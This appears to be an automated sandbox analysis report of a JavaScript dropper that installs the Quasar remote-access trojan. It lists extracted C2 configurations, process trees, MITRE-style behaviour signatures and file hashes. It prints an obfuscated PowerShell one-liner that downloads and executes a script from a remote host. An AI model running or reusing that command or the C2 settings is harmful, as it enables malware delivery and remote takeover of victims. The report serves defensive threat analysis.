Analysis
- max time kernel
149s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/06/2026, 15:00
Static task
static1
Behavioral task
behavioral1
Sample
e-dekontpdf.js
Resource
win10v2004-20260513-en
General
- Target e-dekontpdf.js
- Size 68KB
- Sample260626-sds6nsct21
- SHA256 509c2a5b7f12d2a67bfb9b697581fc9718c6ceba0575cc9e8490284fe4bdd6ce
- MD5 f8de917e3675dd44f4efbc6ed02e984a
- SHA1 7fcc39fefb05e24fb241c2a37ae6f08fde069656
- SHA512 941e7c47757ed942c9d46eb01ceb3ae784bedc83c94dcb9c097591be4bf1444c64a29a7ea579be01aafae04bef229a983efcfda2c5d50dbcaf6449f4832c5c4f
- SSDEEP 1536:IiJUwTWvh1ThiK4iqJ19mKwyQzfTu17RXuH+:IiJUwTWvh1ThiK4iqkfby7Me
- TLSH T12863FF6123C1F812218F2FA3FB1BF5F5E72A7D9530442C4BE1687DDC566A90ACAA4C71
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
quasar
-
1.4.0
-
NewBypassed
-
91.192.100.36:8084
-
9ce44fed-2881-4998-80a9-a8059346d6d7
-
encryption_key
F2F10A25F4D0D0543F5520C8C8BAC500DA1B1AC1
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Mirsoft Update
-
subdirectory
Mirsoft
Extracted
-
quasar
-
1.4.0
-
Micro
-
babayagadead.duckdns.org:1933
-
69059989-4d50-45f8-b299-3d7635455c52
-
encryption_key
E1E0263C65C57BAA0955A3EA0636BB8240539AF2
-
install_name
ChromeServiceUpgrade.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logsssss
-
reconnect_delay
3000
-
startup_key
ChromeServiceUpgrade
-
subdirectory
ChromeServiceUpgrade
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2884 1256 powershell.exe 88 - Quasar payload 2 IoCs
resource yara_rule behavioral2/memory/3972-40-0x0000000000400000-0x0000000000484000-memory.dmp family_quasar behavioral2/memory/2644-62-0x0000000000400000-0x0000000000484000-memory.dmp family_quasar - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 2884 powershell.exe 7 4352 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2884 powershell.exe 4352 powershell.exe - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 api.ipify.org 12 api.ipify.org 15 api.ipify.org - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4352 set thread context of 3972 4352 powershell.exe 96 PID 2884 set thread context of 2644 2884 powershell.exe 102 - Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2884 powershell.exe 2884 powershell.exe 4352 powershell.exe 4352 powershell.exe 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 4352 powershell.exe Token: SeDebugPrivilege 3972 CasPol.exe Token: SeDebugPrivilege 2644 MSBuild.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2884 wrote to memory of 4352 2884 powershell.exe 92 PID 4352 wrote to memory of 1388 4352 powershell.exe 94 PID 1388 wrote to memory of 1268 1388 csc.exe 95 PID 4352 wrote to memory of 3972 4352 powershell.exe 96 PID 4352 wrote to memory of 3972 4352 powershell.exe 96 PID 4352 wrote to memory of 3972 4352 powershell.exe 96 PID 4352 wrote to memory of 3972 4352 powershell.exe 96 PID 4352 wrote to memory of 3972 4352 powershell.exe 96 PID 2884 wrote to memory of 4284 2884 powershell.exe 97 PID 4284 wrote to memory of 4772 4284 csc.exe 98 PID 2884 wrote to memory of 5680 2884 powershell.exe 99 PID 2884 wrote to memory of 4164 2884 powershell.exe 100 PID 2884 wrote to memory of 4860 2884 powershell.exe 101 PID 2884 wrote to memory of 2644 2884 powershell.exe 102 PID 2884 wrote to memory of 2644 2884 powershell.exe 102 PID 2884 wrote to memory of 2644 2884 powershell.exe 102 PID 2884 wrote to memory of 2644 2884 powershell.exe 102 PID 2884 wrote to memory of 2644 2884 powershell.exe 102
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\e-dekontpdf.js1⤵PID:3144
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w hidden -ep bypass -c "$iex=[char]73+[char]69+[char]88;$irm='Inv'+'oke-Rest'+'Method';& $iex (& $irm 'https://babayagareborn.net/blackhole/nod32/iexkisalt.txt')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\szucmjm2.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES188F.tmp" "c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP"4⤵PID:1268
-
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3972
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline"2⤵
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp" "c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP"3⤵PID:4772
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-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:5680
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:4164
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵PID:4860
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f5556321ad12df3296ded2b7f6317e8f12f266be69e9b8db87a2b46caa5228f9
- MD5 ec961ddfc3cd7509e0b41a0174ff4952
- SHA1 58df3e5ac96f6bbe9d11e90f1e87c5cf301d9f90
- SHA512 5ef37b491b15aa4e64bf3354914f641bdb43618e281cbfaf57dadc46b8043b3b13bfac83c0eea42e2c5466d3b4fcfd9e4c8096e5924c60087fd21ee74bd2b0a6
- TLSH T16F218B37F3CC8614DC8A403A52CDAC1036B687DBC0DEDE9B7B84D545B42F699DE69160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.dll
- Size 4KB
- SHA256 eb6590b7e78840650c6e1930e959cb6142dab258003e365cd3c5844b21df8bb0
- MD5 a9c8384c0086b3e2bd458765e02d875e
- SHA1 bfb7828db610fd79dcdf79a03cc06409215323f8
- SHA512 752f010026c97d888989900b735e30da2410c81092a99c2bf3f83c6d4c0a4e5c3b592415e03381cc0dde43849462e7076cfca8c6a4d44f7c4b02fc75b885783d
- SSDEEP 48:6YNAVU8o2//MoLEP6swPzXVVqXiJAUopTtkJxMZK1ulZa31q:ZWou/ePIPzXVMJKGFrK
- TLSH T18291420763E80FA7F0FB47385CB3C72626B0F9E59B624B1E4B9842252C692500931FB0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES188F.tmp
- Size 1KB
- SHA256 7cc7439757dd782e3f05f900d4ce21b4ca7c12290c2760eb0639bcbcae8d86bb
- MD5 c934c8961cad4bbceadb391e61bd9d25
- SHA1 d36069d3cdade9872384546e619d61bf723ffdaa
- SHA512 42d6a86c53a2e50d92de7b62c15b79e598ef3a5c9888f4f0b209c3d67b0b2be2c0e2ea58ec8fa1799dc9101afc75b4dcc610d5263ac2c3cc0b6f20e82e2ab272
- TLSH T13F21CE0953F9471BF0B7573169F6176BE264FE69EFB1976B848442282C41600EEB0FB2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp
- Size 1KB
- SHA256 ab7c9ef780f4e008dba0b8a7c53f5b4674a5ac95cfaa4205d687c1a8a65599f0
- MD5 93fdb3f799da9dd0c4f647cbb080fe99
- SHA1 f3800aeae0f44329fb159d9175c941791ed07aab
- SHA512 fa0085bce389c21fd7f4eaacecea0576f5809521756dc46d57f72ae7e2e7cede6d0aa0484165bd9cf106640e74cc3b39a1d1410887e95cddb4cf18fa237115c8
- TLSH T1BE21AF0553EC875FF0734B31A9FA172FA365FE64EFA1979A448402292C51504DEA0F72
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.dll
- Size 4KB
- SHA256 0b77a5f0163c6bd9abf1c52e8d0e5c0524465b23d073874e57af01fbd46fc247
- MD5 7569786803f618d0c33585e2f98778d8
- SHA1 4444fb36f4bdc99949afa05d32fb62dd467e8a21
- SHA512 fd36dbaa6651c13b1f26b870785a3887fb774d5d0f7f2126ab7fceb885a224fccb168d7fb6261a9afd2860ad0f790b5c21fdb948f2b41af1175e845e44c2287d
- SSDEEP 48:68NAVU8o2//MoLEP6swPzVVVqXiJnRwTtkJxtZK1ul7a3nq:dWou/ePIPzVVMzKfFJK
- TLSH T13E912F0667E80FABF0FB0B345DF3C75B27B4F5E59B62875E4B9842252C692500921FA0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\szucmjm2.ps1
- Size 1KB
- SHA256 25dd129a4822566f38545a37e1120533266fa1a9b895f8605f5b9364744da42c
- MD5 0afe00aa7694327af29efafc15336b82
- SHA1 ac623da18f3dbbb71364b29b7a8c212e20b46f91
- SHA512 2745163030cf536120768c8e6d601b8523bf50e805524b406dbfa148b3dd1ebfa477753a9a75f8b60e01600caf2cf71d156ef7fa2c083f21da87e22bb1bb5dbe
- TLSH T14F31B7172DBBDEB62041059BBF0E9B591E58A439F2B2C0CFCB5AD9E335290C4C008AD2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.0.cs
- Size 1KB
- SHA256 1682c6e1fab37ea0b97334ccd22dd8687acee96913b774c31af67f3af5af0cea
- MD5 c0d230ecbd28ca5f4e7afc2e2edeb53c
- SHA1 5d21ff9711800da48e641dd4fb45feb726bd329e
- SHA512 af742ebf278a8b6f631314f20f72db364017d88823f2db2680b12a3a3a32061813cb513664a2afb15b1158fdcace770ae90847b97e4880d84236552dea9c95cb
- TLSH T12C21CB540691AE922CD3211C9AD285DAF16780370FBE5D00FDBE36525FDE124D8F968E
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline
- Size 369B
- SHA256 2e95fe43912b376353a36aec0f2e04d9f041094319dd26e7dd6c4dcd10f956f7
- MD5 ce6b8f1dfed6fc931808b982247997d5
- SHA1 f98b3980f8346bf9137327b24d5ec1a60dae2c80
- SHA512 8213ed0120d00673eb8227f4cf57881055de5fb97d77fa21681df74c5d940321e0604f39613509349f84d53bc3f78a4edf6b526b2655244b32f97bdeb48a5400
- TLSH T10EE0682A438AC67D92DB200F21B9C9ECA2F2064B79403F845050881EF45780067E1765
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP
- Size 652B
- SHA256 e00e25f72699d6d525dc0b6d04e6eb05af30993da877c991a99a9abafc91d8da
- MD5 bf4b67fb56f3d856a8cefc164f5b42a6
- SHA1 161cd4a46654493802312523383615f684032bba
- SHA512 14c3a438999f30aff2917e1d74a078c40cbcb35aaa2f500690626f28924757fb759bb4b23849e58f9ec64b59fa1b00088d9d4491a1dad8b35416f8eff4af51a0
- TLSH T141F05E0963F8420EF0F38B30BDF6436391A8BDA5DF3297ED5484532928645209972FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP
- Size 652B
- SHA256 162e53f88b78fe3eb63b73570e3dcff6f4e02d904f6aa6a1de69a2bb546b9845
- MD5 566d6e2ad6fe815f72586040f7cb0f15
- SHA1 80765620b92ed3b72901d3a8fd75bd8a021a0e51
- SHA512 379973c3aea9df13e5dc1ce50c53c086561f44f95f450a823cd3c21cfbebd712fd21afde4040843d168af6ebc1e2d48158c35047a7e9c91dfd81d5e1b46a6eb0
- TLSH T1C0F05E0963F8920EF0F34F30FDF693A792A9BD65DE3293ED1444435928645109A62FB2
- MD5 SHA1 SHA512 TLSH
- Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline
- Size 369B
- SHA256 21f0a56ab6df2e600212998524bab428fc35eda5cdf751ea88748fba47a89a40
- MD5 47031a1acb3e2225720d72dd248848e6
- SHA1 524625fd341668eac036826f055216915514778a
- SHA512 706e158cde7037fccac0e0d4d9b91481fcf60eee51a78f9abca83f364a790837edd67078c30b0d8989c9d6ba1a7fdd72028d60d7b3ff9a31c223ba4f013025a5
- TLSH T18AE0D8BA5296C67E15F9104F227FC9ACC3720647EA417FC45191445EF31740467D1759
- MD5 SHA1 SHA512 TLSH